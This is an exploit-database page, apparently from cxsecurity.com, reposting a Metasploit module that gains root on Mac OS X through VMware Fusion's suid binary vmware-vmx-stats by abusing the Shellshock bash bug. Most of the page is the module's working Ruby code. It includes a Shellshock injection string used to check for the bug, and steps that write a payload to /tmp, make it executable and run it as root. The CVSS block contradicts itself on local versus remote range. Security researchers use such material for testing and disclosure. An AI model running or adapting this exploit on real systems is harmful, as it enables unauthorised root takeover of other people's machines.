Mac OS X VMWare Fusion Root Privilege Escalation

2014.09.26
Credit: joev
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit', 'Description' => %q{ This abuses the bug in bash environment variables (CVE-2014-6271) to get a suid binary inside of VMWare Fusion to launch our payload as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stephane Chazelas', # discovered the bash bug 'juken', # discovered the VMWare priv esc 'joev', # msf module 'mubix' # vmware-vmx-stats ], 'References' => [ [ 'CVE', '2014-6271' ] ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X 10.9 Mavericks x64 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) register_options([ OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), ], self.class) end def check check_str = Rex::Text.rand_text_alphanumeric(5) # ensure they are vulnerable to bash env variable bug if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) && cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary print_status("Writing payload file as '#{payload_file}'") exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) write_file(payload_file, exe) register_file_for_cleanup(payload_file) cmd_exec("chmod +x #{payload_file}") print_status("Running VMWare services...") cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top